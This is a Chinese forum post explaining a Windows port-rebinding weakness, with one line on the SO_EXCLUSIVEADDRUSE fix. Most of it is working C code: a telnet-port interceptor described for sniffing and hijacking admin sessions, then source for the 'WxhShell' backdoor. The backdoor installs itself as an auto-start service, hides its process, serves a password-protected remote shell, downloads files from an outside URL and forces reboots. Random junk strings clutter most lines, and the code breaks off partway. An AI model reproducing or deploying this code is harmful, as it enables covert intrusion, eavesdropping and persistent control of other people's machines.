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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ._G ,uP$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tTy!o=  
5v)^4( )  
  saddr.sin_family = AF_INET; V1]GOmXz  
r >'tE7W9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zo<)r2|O.  
<a"(B*bBd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >[;W ~*  
$pES>>P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LL#REK|lm8  
_ p\L,No  
  这意味着什么?意味着可以进行如下的攻击: Wk0E7Pr  
4=^_VDlpd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T)\}V#iA*  
UH!(`Z\C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (SyD)G\rj  
W#F9Qw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]%E h"   
 O`@Nl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Fa%1] R  
Ab@ G^SLX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 irAXXg  
!q2zuxq!R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =x8[%+  
61S;M8tNv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c*)T4n[e  
% "(&a'B  
  #include  g{Hgs  
  #include Me .I>7c  
  #include s(=wG|   
  #include    G!Zb27u+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,u `xneOs  
  int main() ^X96yj'?  
  { <l<O2l  
  WORD wVersionRequested; ]I\GnDJ^  
  DWORD ret; 3=.YQE0!dx  
  WSADATA wsaData; `9^tuR,  
  BOOL val; |{N{VK  
  SOCKADDR_IN saddr; +K1M&(  
  SOCKADDR_IN scaddr; KR>)Ek  
  int err; h^\vk!Q-d  
  SOCKET s; /f#b;qa,  
  SOCKET sc; f;{Q ~  
  int caddsize; g$K\rA  
  HANDLE mt; 5s[nE\oaG  
  DWORD tid;   9^}&PEl  
  wVersionRequested = MAKEWORD( 2, 2 ); 9hA`I tS  
  err = WSAStartup( wVersionRequested, &wsaData ); gK rUv0&F  
  if ( err != 0 ) { Z mJ<h&  
  printf("error!WSAStartup failed!\n"); n~ *|JJ*`  
  return -1; 7 9t E  
  } ?8-Am[xH  
  saddr.sin_family = AF_INET; iJzBd7  
   `WayR^9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4C*ywP  
KnG7w^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Tvx1+0Z%z  
  saddr.sin_port = htons(23); d6J/)nl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OD8 fn  
  { aFTWzz  
  printf("error!socket failed!\n"); QF>T)1&J[7  
  return -1; :*Wq%Y=  
  } sM-,95H  
  val = TRUE; s)E  \  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TDH^x1P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O%EA ,5U.  
  { JIySe:p3  
  printf("error!setsockopt failed!\n"); {srP3ll P  
  return -1; A8m06  
  } 1$&@wG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fp [gKRSF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4'O,xC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bT ,_=7F  
?\o~P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pkn^K+<n,  
  { /7UvV60  
  ret=GetLastError(); iXMJ1\!q\|  
  printf("error!bind failed!\n"); ;XN|dq  
  return -1; K7RAmX  
  } P6v ANL-B  
  listen(s,2); QL7b<xDQC*  
  while(1) 1&dtq,|N  
  { }Fjbj5w0  
  caddsize = sizeof(scaddr); 0>{ ]*  
  //接受连接请求 uVEJV |^/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 27SHj9I  
  if(sc!=INVALID_SOCKET) RIMSXue*Ha  
  { I8bM-k):9R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); : B^"V\WE  
  if(mt==NULL) |&#N&t  
  { 0-Mzb{n5  
  printf("Thread Creat Failed!\n"); '9}&@;-_  
  break; `\UY5n72  
  } ]E/0iM5  
  } 1iF=~@Nz_  
  CloseHandle(mt); Pe _O(  
  } "V p nr +6  
  closesocket(s); QEr<(wM-y  
  WSACleanup(); 0/GBs~P  
  return 0;  @lN\.O  
  }   iHPsRq!  
  DWORD WINAPI ClientThread(LPVOID lpParam) $*0-+h  
  { E{\CE1*  
  SOCKET ss = (SOCKET)lpParam; c""&He4zp  
  SOCKET sc; mh3S?Uc  
  unsigned char buf[4096]; ZO<,V  
  SOCKADDR_IN saddr; F vkyp"W3  
  long num; S`kOtZ_N n  
  DWORD val; =|?`5!A  
  DWORD ret; P73GH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /QQRy_Z1)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /PwiZ A3sA  
  saddr.sin_family = AF_INET; a}y b~:TC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e0P[,e*0  
  saddr.sin_port = htons(23); ~(R=3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5 bI :xL}  
  { So 1TH%  
  printf("error!socket failed!\n"); aj5HtP-  
  return -1; 'gf[Wjb,%  
  } g#$ C8k  
  val = 100; oP,*H6)i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hhknjx  
  { ozRO:*51  
  ret = GetLastError(); |]< 3cW+  
  return -1; gy.UTAs N  
  } GQbr}xX. #  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J+P<zC  
  { 8B G Z  
  ret = GetLastError(); <U3X4)r  
  return -1; lUu0AZQmG  
  } ;^ME  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?\Z pVL<>  
  { MH.+pqIv^  
  printf("error!socket connect failed!\n"); 6m_mma_,&  
  closesocket(sc); aF 2vgE\  
  closesocket(ss); /WnCAdDgZ  
  return -1; 3'z$@ ;Ev+  
  } ogFo/TKM  
  while(1) _pTcSp 3  
  { <odi>!ViH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XM:BMd|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hju^x8 ,=m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bN_e~z  
  num = recv(ss,buf,4096,0); __ g?xw  
  if(num>0) 1 m'.wh|  
  send(sc,buf,num,0); 6\7c:  
  else if(num==0) MZt#T+b  
  break; UVw^t+n  
  num = recv(sc,buf,4096,0); TanWCt4r  
  if(num>0) ZO%^r%~s  
  send(ss,buf,num,0); 5k0iVpjQ  
  else if(num==0) _m9k2[N!  
  break; bY P8  
  } AY52j  
  closesocket(ss); IS]A<}j/-  
  closesocket(sc); HUx`RX0>  
  return 0 ; p:xyy*I  
  } 2PQBUq  
ZH Q?{"  
')q0VaohC  
========================================================== Wr[LC&  
xQ"uC!Gu4  
下边附上一个代码,,WXhSHELL !gkr?yhE  
A;d@NOI#,K  
========================================================== WHE<E rV%  
NMkP#s7.y  
#include "stdafx.h" ]'pfw9"f~  
8w:ay,=  
#include <stdio.h> d_,Mylk  
#include <string.h> D|zuj]  
#include <windows.h> {"'M2w:|D1  
#include <winsock2.h> 4np2I~ !  
#include <winsvc.h> g@'XmT="_  
#include <urlmon.h> }`w(sec:3  
|m-N5$\IC  
#pragma comment (lib, "Ws2_32.lib") 4#(/{6J  
#pragma comment (lib, "urlmon.lib") QP'sS*saJ  
?6_]^:s  
#define MAX_USER   100 // 最大客户端连接数 Ic&~iqQ  
#define BUF_SOCK   200 // sock buffer uj3`M9  
#define KEY_BUFF   255 // 输入 buffer @|:fm() <  
8|Tqk,/pD  
#define REBOOT     0   // 重启 :gsRJy1  
#define SHUTDOWN   1   // 关机 WXxnOLJr  
2Z{?3mAb;  
#define DEF_PORT   5000 // 监听端口 5,;\zSz  
u{4P)DIQ  
#define REG_LEN     16   // 注册表键长度 +'m9b7+v  
#define SVC_LEN     80   // NT服务名长度 zLl-{Kk  
->I.D?p  
// 从dll定义API FsqH:I4O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vGi<" Sn7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;!HQ!#B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /kGWd9ujF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [x)T2sA  
x_7$g<n  
// wxhshell配置信息 gxO~44"  
struct WSCFG { ZRjM^ d;  
  int ws_port;         // 监听端口 aA?Qr&]M  
  char ws_passstr[REG_LEN]; // 口令  C O6}D  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4S42h_9  
  char ws_regname[REG_LEN]; // 注册表键名 Q b^{`  
  char ws_svcname[REG_LEN]; // 服务名  GAfc9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sNx_9pJs4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W7!Rf7TK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 - egTZW-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I q|'#hs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,9y6:W%5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Kii@Z5R_?  
+j: &_  
}; X8tPn_`x  
vEx'~_+a9  
// default Wxhshell configuration w~6/p  
struct WSCFG wscfg={DEF_PORT, DQ0S]:tC  
    "xuhuanlingzhe", ZW?h\0Hh  
    1, -9 LvAV>  
    "Wxhshell", #btz94/~O  
    "Wxhshell", /5E0'y,|P  
            "WxhShell Service", _7N?R0j^9N  
    "Wrsky Windows CmdShell Service", {U-z(0  
    "Please Input Your Password: ", UovN"8W+  
  1, {EZR}N  
  "http://www.wrsky.com/wxhshell.exe", +\+j/sa  
  "Wxhshell.exe" NzZ(N z5  
    }; CY?J$sN  
EC\@$Fg  
// 消息定义模块 $x }R2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :'r* 5EX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |gV~U~A]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3\Amj}RJ  
char *msg_ws_ext="\n\rExit."; ;*rGZ?%*  
char *msg_ws_end="\n\rQuit."; 5%D`y|  
char *msg_ws_boot="\n\rReboot..."; l8E))oz1T  
char *msg_ws_poff="\n\rShutdown..."; t5 >ma:^j  
char *msg_ws_down="\n\rSave to "; q2#Ebw %]  
%rB,Gl:)g  
char *msg_ws_err="\n\rErr!"; 1a9' *[  
char *msg_ws_ok="\n\rOK!"; 1!1,{\9%  
8@vq.z}  
char ExeFile[MAX_PATH]; ;ZB=@@l(  
int nUser = 0; Vw ;iE=L  
HANDLE handles[MAX_USER]; ot7f?tF2<J  
int OsIsNt; to13&#o  
!9gpuS[  
SERVICE_STATUS       serviceStatus; D*@'%<?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %x#S?GMV<  
SkV pZh  
// 函数声明 O4`.ohAZ  
int Install(void); Zs^zD;zU  
int Uninstall(void); ]+G\1SN~  
int DownloadFile(char *sURL, SOCKET wsh); ]|F`;}7  
int Boot(int flag); #_\**%,<  
void HideProc(void);  @mw1__?  
int GetOsVer(void); n%h00 9 -5  
int Wxhshell(SOCKET wsl); T.De1 Q|  
void TalkWithClient(void *cs); ~7aD#`amU  
int CmdShell(SOCKET sock); \u.5 _ g  
int StartFromService(void); X%-"b`  
int StartWxhshell(LPSTR lpCmdLine); 7Vf XE/  
H`<u2fo|p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bBINjs8C_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }vZfp5Y  
G l/3*J  
// 数据结构和表定义 2G|}ENC  
SERVICE_TABLE_ENTRY DispatchTable[] = .\H-?6R^  
{ 5[\g87 \  
{wscfg.ws_svcname, NTServiceMain}, bLl ?!G.  
{NULL, NULL} PU ea`rE?R  
}; Nj4r[5K  
"LYhYkI  
// 自我安装 xe OfofC(l  
int Install(void) :M;|0w*b  
{ L7- JK3/E  
  char svExeFile[MAX_PATH]; 3q'nO-KJ  
  HKEY key; ,6y.wNb:F  
  strcpy(svExeFile,ExeFile); FXk*zXn6  
[*K9V/  
// 如果是win9x系统,修改注册表设为自启动 %dw0\:P?Q  
if(!OsIsNt) { 8F\'? 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D7R;IA-w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0<A*I{,4L  
  RegCloseKey(key); fC"? r6d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6jMc|he  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (| O(BxS  
  RegCloseKey(key); s4 , `  
  return 0; 6k')12~'  
    } w)go79  
  } 0dx%b677d  
} p8]XNe  
else { W;Dik%^tg  
NWwKp?  
// 如果是NT以上系统,安装为系统服务 `-s]d q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |@rf#,hTDp  
if (schSCManager!=0) .4 NcaMj  
{ 1OY 5tq  
  SC_HANDLE schService = CreateService ,*Wh{)  
  ( m k~F@  
  schSCManager, <F}j;mX  
  wscfg.ws_svcname, Lz9|"F"V  
  wscfg.ws_svcdisp, ~A/vP-  
  SERVICE_ALL_ACCESS, 1Xcj=I- 4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ai%Wt-  
  SERVICE_AUTO_START, FBi&M Z`  
  SERVICE_ERROR_NORMAL, n%2c<@p#  
  svExeFile, >]Mhkf/=)  
  NULL, 9R+ qw  
  NULL, varaBFD  
  NULL, ,o2x,I  
  NULL, G"J 8i|~  
  NULL v*y,PY1*  
  ); 6X2w)cO  
  if (schService!=0) 9;gy38.3  
  { d|tNn@jN  
  CloseServiceHandle(schService); | v>W  
  CloseServiceHandle(schSCManager); N#OO{`":Z`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cor!Sa>  
  strcat(svExeFile,wscfg.ws_svcname); d<] eJ{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c8l\1ce?7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c[6<UkH7  
  RegCloseKey(key); z/o&r`no  
  return 0; )WkN 34Q  
    } \= 6dF,V  
  } x;JC{d#  
  CloseServiceHandle(schSCManager); )CH\]>-FO  
} 7CU<R9Kl  
} 6C_H0a/h&  
d^Cv9%X  
return 1; 8N<2RT8W  
} .4z_ohe  
gf;B&MM6  
// 自我卸载 fob.?ID-;  
int Uninstall(void) N mNj0&  
{ y7b>>|C  
  HKEY key; TY+Rol;!  
sEb*GF*.V  
if(!OsIsNt) { x;&iLQZh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Zq_zvKUt  
  RegDeleteValue(key,wscfg.ws_regname); %B>>J%  
  RegCloseKey(key); #3C] "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /GP:W6:6z6  
  RegDeleteValue(key,wscfg.ws_regname); K?S5C8  
  RegCloseKey(key); Wsw/ D  
  return 0; 6 #jpA.;  
  } Y4Jaw2b  
} :Mu]* N  
} P1qnU  
else { p1s& y0:d  
N@? z&urQi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R"`<ZY6(Ou  
if (schSCManager!=0) 0$R}_Ok  
{ Nk\/lK\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I~M@v59C  
  if (schService!=0) F{17K$y  
  { X5)].[d  
  if(DeleteService(schService)!=0) { yEL5U{  
  CloseServiceHandle(schService); 2reQd47  
  CloseServiceHandle(schSCManager); t] G hONN  
  return 0; bmRp)CYd  
  } XJ1<!tl  
  CloseServiceHandle(schService); Vg`32nRN  
  } yD^Q&1  
  CloseServiceHandle(schSCManager); a [BIY&/Q  
} QlnI&o  
} $=!_ !tr  
OLJ|gunA#  
return 1; H1ox>sC  
} UDgUbi^v|D  
%c&< {D}r  
// 从指定url下载文件 'oM&Ar$  
int DownloadFile(char *sURL, SOCKET wsh) /pgn?e'lk  
{ yMe;  
  HRESULT hr; DUs0L\  
char seps[]= "/"; ,h9N,bIQg  
char *token; )O6_9f_  
char *file; eBl B0P  
char myURL[MAX_PATH]; LyT[  
char myFILE[MAX_PATH]; nxx&aq(._  
WD'[|s\  
strcpy(myURL,sURL); lDtl6r/  
  token=strtok(myURL,seps); Ix+\oq,O  
  while(token!=NULL) >f~y2YAr  
  { c ^+{YH;k  
    file=token; ^s3SzB@  
  token=strtok(NULL,seps); |("zW7g  
  } :8Ql (I  
I#:4H2H6  
GetCurrentDirectory(MAX_PATH,myFILE); Z'\{hL S  
strcat(myFILE, "\\"); `< cn  
strcat(myFILE, file); iFB {a?BE  
  send(wsh,myFILE,strlen(myFILE),0); iy,jq5uw  
send(wsh,"...",3,0); j !rQa^   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tq8rG@-C  
  if(hr==S_OK) 2)R*d  
return 0; 0bI} s`sr  
else y[~w2a&+  
return 1; ty)~]!tA  
]n&Eb88  
} d7!,  
#s]`jdc  
// 系统电源模块 H.s:a#l?  
int Boot(int flag) +m1y#|08  
{ v^Pjvv=  
  HANDLE hToken; LLW\1 cxi  
  TOKEN_PRIVILEGES tkp; r| 0wIpi6Q  
:"~n` Q2[  
  if(OsIsNt) { C1SCV^#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $n9Bp'<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {-e|x&-  
    tkp.PrivilegeCount = 1; 5>"X?U}He  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OOX[xv!b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !I[|\ 4j  
if(flag==REBOOT) { &-M}:'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UN Kr FYl  
  return 0; A@#D_[~  
} nG !6[^D  
else { }SBpc{ch  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^@n?&  
  return 0; LHgEb9\Q  
} nv2p&-e+  
  }  Y.v. EZ  
  else { xa|/P#q  
if(flag==REBOOT) { ?LA` v_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IO]%AL(.;  
  return 0; +OX:T) 4h6  
} z!:%Hbh=  
else { m?pm)w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <aGfQg|554  
  return 0; Zdll}nO"E  
} -_"6jU  
} nEboet-#D0  
$"6O92G(hJ  
return 1; U8R*i7  
} pv;ZR  
^+'\ u;\  
// win9x进程隐藏模块 B@v"giJgr  
void HideProc(void) ,5HC &@  
{ 4n, >EA85  
q, XRb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;-!j,V+$h  
  if ( hKernel != NULL ) I<^&~==  
  { zTvGku[3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7c aV-8:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ntt:>j$  
    FreeLibrary(hKernel); gj-MkeI)  
  } Dt\rMSjZ9  
GYK&QYi,  
return; !JWZ}u M6  
} byetbt(IF  
Ym5ji$!2  
// 获取操作系统版本 JUlCj #%  
int GetOsVer(void) ]B3\IT  
{ E\dJb}"x %  
  OSVERSIONINFO winfo; /#xx,?~xx0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G[M{TS3&Ds  
  GetVersionEx(&winfo); 2 rx``,7Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [|"{a  
  return 1; ;{hE]jReH  
  else nH7i)!cI~  
  return 0; xN=:*#Z"pb  
} [$AOu0J  
bAZ x*qE=  
// 客户端句柄模块 !,zRg5Wp4  
int Wxhshell(SOCKET wsl) 0mD=Rjb*a  
{ \zGmZZ  
  SOCKET wsh; f?|cQ[#t!\  
  struct sockaddr_in client; z*B-`i.  
  DWORD myID; @<,YUp,%S  
OX[pK_:`l  
  while(nUser<MAX_USER) ~Ddlr9Ej  
{ C)xM>M_CB  
  int nSize=sizeof(client); [/IN820t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z}&JapJ  
  if(wsh==INVALID_SOCKET) return 1; MclW!CmJ  
$PE{}`#g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o"-*,:Qe  
if(handles[nUser]==0) pZaOd;t  
  closesocket(wsh); =#|K-X0d=  
else ~s4o1^6L  
  nUser++; 3C7}V{?  
  } J2d 3&6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P!K;`4Ika  
8ZPjzN>c6  
  return 0; bfl%yGkd/|  
} Hm*?<o9mxC  
O[O[E}8#  
// 关闭 socket X4{O/G  
void CloseIt(SOCKET wsh) s%l`XW;v  
{ ?KMGk]_<  
closesocket(wsh); 1sN >U<  
nUser--; _q<Ke/  
ExitThread(0); 1'Y7h;\~\  
} QdtGFY4f,  
&h_do8R  
// 客户端请求句柄 g:]X '%Ub  
void TalkWithClient(void *cs) BA(PWX`H  
{ " }oH3L  
=LHz[dSL  
  SOCKET wsh=(SOCKET)cs; _,{R3k  
  char pwd[SVC_LEN]; k2Y *  
  char cmd[KEY_BUFF]; S"skKh4w  
char chr[1]; w9Z,3J6r  
int i,j; FvVR \a  
N~t4qlC/  
  while (nUser < MAX_USER) { %MH!L2|  
^a{cK  
if(wscfg.ws_passstr) { LZF %bJv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CP"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5KIlU78  
  //ZeroMemory(pwd,KEY_BUFF); $2'Q'Mx[gd  
      i=0; v3 ]mZ}W$  
  while(i<SVC_LEN) { *j"u~ N F  
FQW{c3%qZ  
  // 设置超时 *p Q'w  
  fd_set FdRead; }{S f*  
  struct timeval TimeOut; yirQ  
  FD_ZERO(&FdRead); 9w:9XziT  
  FD_SET(wsh,&FdRead); h}SP`  
  TimeOut.tv_sec=8; c|KN@)A  
  TimeOut.tv_usec=0; ?4A$9H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bHf> EU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~H1 ZQ[  
MR`lF-|a|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hF;TX.Y6  
  pwd=chr[0]; 49d02AU%  
  if(chr[0]==0xd || chr[0]==0xa) { Tw0GG8(c  
  pwd=0; U1;<NUg  
  break; 3Eu;_u_  
  }  8PXjdHR  
  i++; 3]cW08"c  
    } OuuN~yC  
o~J~-$T{  
  // 如果是非法用户,关闭 socket q88;{?T1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TQ&1!~L*  
} _(1Shm  
HBp$   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <7 R+p;y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ayK?\srw  
9_ru*j\  
while(1) { !)-)*T  
g;mX{p_@  
  ZeroMemory(cmd,KEY_BUFF); >pRC$'Usx  
f<;w1sM\  
      // 自动支持客户端 telnet标准   -lqsFaW  
  j=0; {;-wXzv`  
  while(j<KEY_BUFF) { 8o%g2 P9.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rGIf/=G^r  
  cmd[j]=chr[0]; &V77Wn OY  
  if(chr[0]==0xa || chr[0]==0xd) { X4I+  
  cmd[j]=0; _CImf1  
  break; vzH"O=  
  } <TQ,7M4X  
  j++; i2&I<:  
    } J@lQzRqRb  
"eG@F  
  // 下载文件 0Q4i<4 XW  
  if(strstr(cmd,"http://")) { /{71JqFis  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); unD.t  
  if(DownloadFile(cmd,wsh)) Ygs:Ox"[-G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  JcJc&cG  
  else iRK&-wn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xt9vTCox  
  } d$qi. %<kh  
  else { 7,7-E&d  
Or3GrZ!H  
    switch(cmd[0]) { tQWjNP~  
  -|g9__|@  
  // 帮助 )kk10AZV-E  
  case '?': { #w6ty<b;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hzc5BC  
    break; {v>8Kp7_R  
  } GJTakhj3  
  // 安装 `W9~u: F  
  case 'i': { aGbHDo  
    if(Install()) !))!! {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hn sPXF'8g  
    else K=N8O8R$y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t/B4?A@C  
    break; Vf#g~IOI  
    } o*sss  
  // 卸载 [!ilcHE)  
  case 'r': { +%  !'~  
    if(Uninstall()) ?"-1QG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ny` =]BA  
    else 1EAQ ~S!2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tV"Jh>Z  
    break; 1uco{JX<S  
    } *)D$w_06S  
  // 显示 wxhshell 所在路径 2|\WaH9P  
  case 'p': { FxdWJ|rN9D  
    char svExeFile[MAX_PATH]; /1h ${mo~  
    strcpy(svExeFile,"\n\r"); d.xT8l}sS  
      strcat(svExeFile,ExeFile); Y. Uca<{.[  
        send(wsh,svExeFile,strlen(svExeFile),0); @p%WFNR0  
    break; Hj97&C{Q^  
    } 1A}#j  
  // 重启 zGaqYbQD  
  case 'b': { gN; E}AQt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tUT:v K`  
    if(Boot(REBOOT)) (i;,D-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Z.sK-NJ4  
    else { p)Fi{%bc  
    closesocket(wsh); J;*2[o.N  
    ExitThread(0); Mb:>  
    } YkF52_^_  
    break; sv)4e)1  
    } 8DkZ @}  
  // 关机 o3cE.YUF  
  case 'd': { PS$g *x  
